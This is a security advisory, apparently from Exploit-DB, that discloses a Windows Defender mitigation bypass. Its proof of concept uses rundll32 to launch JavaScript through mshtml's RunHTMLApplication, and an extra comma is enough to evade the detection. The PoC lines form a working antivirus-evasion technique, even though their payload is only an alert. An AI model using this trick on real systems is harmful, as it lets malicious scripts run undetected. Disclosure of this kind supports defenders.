Windows Defender TrojanWin32Powessere.G Mitigation Bypass Part 2

vendor:

Windows Defender

by:

John Page (hyp3rlinx)

6.1

CVSS

HIGH

Windows Defender Detection Mitigation Bypass - TrojanWin32Powessere.G

119

CWE

Product Name: Windows Defender

Affected Version From: Windows Defender

Affected Version To: Windows Defender

Patch Exists: NO

Related CWE:

CPE: a:microsoft:windows_defender

Metasploit:

Other Scripts:

Platforms Tested: Windows

2024

Windows Defender TrojanWin32Powessere.G Mitigation Bypass Part 2

Windows Defender typically prevents execution of TrojanWin32Powessere.G by leveraging rundll32.exe, resulting in 'Access is denied' error. A mitigation bypass was disclosed in 2022 involving mshtml reference traversal. However, using multiple commas bypasses this mitigation, allowing successful execution.

Mitigation:

Ensure system and Windows Defender definitions are updated regularly to detect and prevent such bypass attempts.

Source

Exploit-DB raw data:

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
Windows Defender


[Vulnerability Type]
Windows Defender Detection Mitigation Bypass
TrojanWin32Powessere.G


[CVE Reference]
N/A


[Security Issue]
Trojan.Win32/Powessere.G / Mitigation Bypass Part 2.

Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will typically get an "Access is denied" error message.

Back in 2022, I disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.
However, I discovered using multi-commas "," will bypass that mitigation and successfully execute as of the time of this writing.


[References]
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt


[Exploit/POC]
Open command prompt as Administator.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(666)
Access is denied.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(666)

Multi-commas, for the Win!


[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
February 7, 2024: Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx